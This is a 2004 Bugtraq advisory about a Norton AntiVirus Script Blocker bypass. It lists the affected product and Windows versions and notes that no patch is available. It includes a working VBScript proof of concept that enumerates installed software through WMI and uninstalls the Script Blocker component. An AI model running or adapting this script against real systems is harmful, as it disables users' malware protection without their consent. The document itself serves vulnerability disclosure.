Symantec Norton Antivirus Script Blocker Denial Of Service Vulnerability

Bugtraq ID:	10739
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Jul 16 2004 12:00AM
Updated:	Jul 16 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to [email protected].
Vulnerable:	Symantec Norton AntiVirus 2004 Professional Edition Symantec Norton AntiVirus 2004 Symantec Norton AntiVirus 2003 Professional Edition Symantec Norton Antivirus 2003 0 - Microsoft Windows 2000 Professional SP3 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows XP Home SP1 - Microsoft Windows XP Home - Microsoft Windows XP Professional Symantec Norton AntiVirus 2002 Professional Edition Symantec Norton AntiVirus 2002 0 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home - Microsoft Windows XP Professional Symantec Norton AntiVirus 2001 Professional Edition Symantec Norton AntiVirus 2001 0 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 98 b - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 SP5 - Microsoft Windows NT 3.5.1 SP3 - Microsoft Windows NT 3.5.1 SP2 - Microsoft Windows NT 3.5.1 SP1 - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 3.5
Not Vulnerable:

Symantec Norton Antivirus Script Blocker Denial Of Service Vulnerability

It is reported that Symantec Norton AntiVirus is prone to a Script Blocker denial of service vulnerability. This may result in a Symantec Norton AntiVirus Script Blocker bypass.

The privileges and zone required so that the script is successful in exploiting this issue are not known.

Symantec is currently investigating this vulnerability and this BID will be updated, as further analysis is complete.

Symantec Norton Antivirus Script Blocker Denial Of Service Vulnerability

The following proof of concept is available:

' get wmi
set wmi=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
' enum soft
for each e in wmi.ExecQuery("Select * from Win32_Product")
on error resume next
' uninstall script blocker part of norton
if instr(e.name,"Script") and instr(e.name,"Block") then
e.UnInstall()
end if
next

' just do what you like
set fso = createobject("scripting.filesystemobject")
fso.createtextfile("c:\byenav.txt").write "=)"

Symantec Norton Antivirus Script Blocker Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Symantec Norton Antivirus Script Blocker Denial Of Service Vulnerability

References:

• Norton Anti Virus Script Blocker bypass using script(vb,js,...) ([email protected])
  
• Norton Anti Virus Script Blocker bypass using script(vb,js,...) II ([email protected])
  
• Symantec Homepage (Symantec)